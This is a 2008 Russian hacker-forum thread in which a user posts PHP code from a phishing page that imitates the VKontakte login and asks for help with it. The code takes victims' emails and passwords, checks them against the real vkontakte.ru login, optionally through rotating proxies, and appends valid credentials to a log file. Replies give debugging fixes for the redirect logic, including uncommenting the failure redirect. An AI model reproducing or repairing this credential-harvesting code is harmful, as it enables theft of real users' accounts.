ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[PHP] нужна помощь
  #1  
Старый 28.11.2008, 14:15
Аватар для El.DI@BL0
El.DI@BL0
Участник форума
Регистрация: 18.04.2007
Сообщений: 210
Провел на форуме:
3284248

Репутация: 404
Отправить сообщение для El.DI@BL0 с помощью ICQ
По умолчанию [PHP] нужна помощь

Есть фейк, в нём имеются опции: проверка на валидность и использование прокси. Когда отключаешь проверку на валидность, после ввода жертвой пароля нет переадрисации по заданной ссылке. Что нужно изменить? Сам пробовал, но Php я не знаю вообще. Вот кусок кода:

PHP код:
if(isset($_POST['email']) && isset($_POST['pass'])){
    
$email trim($_POST['email']);
    
$pass $_POST['pass'];
    if(
$valide_check){
        
$email str_replace('@''%40'$email);
        
$post_data "success_url=&fail_url=&try_to_login=1&email=$email&pass=$pass";
        
$post_len strlen($post_data);
        
$h "POST http://vkontakte.ru/login.php HTTP/1.0\r\n";
        
$h .= "Host: vkontakte.ru\r\n";
        if(
$use_proxy){
            
$h .= "Connection: Close\r\n";
        }
        
$h .= "Referer: http://vkontakte.ru/login.php\r\n";
        
$h .= "Content-Type: application/x-www-form-urlencoded\r\n";
        
$h .= "Content-length: $post_len\r\n";
        
$h .= "Cookie: remixchk=5; remixlang=0\r\n";
        
$h .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n\r\n";
        
$h .= $post_data."\r\n\r\n";
        if(!
$use_proxy){
            
$fp fsockopen('vkontakte.ru''80'$errno$errstr'55');
        } else {
            
$pr file($proxy_file);
            
$proxy_count count($pr)-1;
            
$mix rand('0'$proxy_count);
            
$proxy explode(':'$pr[$mix]);
            
$fp fsockopen($proxy[0], $proxy[1], $errno$errstr'55');
        }
        if(
$fp)
        {
            
fwrite($fp$h);
            
$outdata '';
            while(!
feof($fp)){
                if (!
$outdata .= fread($fp'1024')){
                    
$outdata '';
                }
            }
            
fclose($fp);
        } else {
            echo 
$errno.'<br/>'.$errstr;
        }

        if(
strstr($outdata'302 Found') || strstr($outdata'302 Moved')){
            echo 
'<meta http-equiv="Refresh" content="0; url='.$success_url.'"';
            
$flog fopen($file_log'a');
            if(
$flog){
            
fwrite($flogstr_replace('%40''@'$email).';'.$pass."\r\n");
            
fclose($flog);
            } else {
                die(
'Failed to open file: '.$file_log);
            }
        } else {
        
/*    echo '<meta http-equiv="Refresh" content="0; url='.$fail_url.'"'; */
?> 

Последний раз редактировалось El.DI@BL0; 28.11.2008 в 14:19..
 
Ответить с цитированием

  #2  
Старый 28.11.2008, 14:24
Аватар для rcc0023
rcc0023
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме:
644324

Репутация: 11
По умолчанию

Если есть подобное то все норм

$success_url="юрл на сайт"
$fail_url="юрл на сайт"
 
Ответить с цитированием

  #3  
Старый 28.11.2008, 14:33
Аватар для El.DI@BL0
El.DI@BL0
Участник форума
Регистрация: 18.04.2007
Сообщений: 210
Провел на форуме:
3284248

Репутация: 404
Отправить сообщение для El.DI@BL0 с помощью ICQ
По умолчанию

это есть, но не норм
 
Ответить с цитированием

  #4  
Старый 28.11.2008, 14:56
Аватар для rcc0023
rcc0023
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме:
644324

Репутация: 11
По умолчанию

Ну тогда измени echo '<meta http-equiv="Refresh" content="0; url='.$success_url.'"';
На header("Location: $success_url");
 
Ответить с цитированием

  #5  
Старый 28.11.2008, 15:21
Аватар для El.DI@BL0
El.DI@BL0
Участник форума
Регистрация: 18.04.2007
Сообщений: 210
Провел на форуме:
3284248

Репутация: 404
Отправить сообщение для El.DI@BL0 с помощью ICQ
По умолчанию

тоже не помогло
 
Ответить с цитированием

  #6  
Старый 28.11.2008, 15:27
Аватар для rcc0023
rcc0023
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме:
644324

Репутация: 11
По умолчанию

Два рефреша заменил на хиадер?
 
Ответить с цитированием

  #7  
Старый 28.11.2008, 17:41
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

/* echo '<meta http-equiv="Refresh" content="0; url='.$fail_url.'"'; */

тут символ /* и */ - начало и конец комментария. Просто удали их, строчка в таком варианте есс-но не работает, ибо закомментированна
 
Ответить с цитированием

  #8  
Старый 28.11.2008, 18:01
Аватар для rcc0023
rcc0023
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме:
644324

Репутация: 11
По умолчанию

Точно))
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Нужна помощь! Взлом. ~VaZ~ ICQ 6 02.11.2006 02:05
Человеку нужна помощь. Mobile Болталка 41 26.10.2006 08:58
Нужна помощь с фотокамерой ExceLenT Аппаратное обеспечение 7 03.09.2006 08:19
нужна гуманитарная помощь Грызло АнтиАдмин 4 03.02.2005 22:40



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ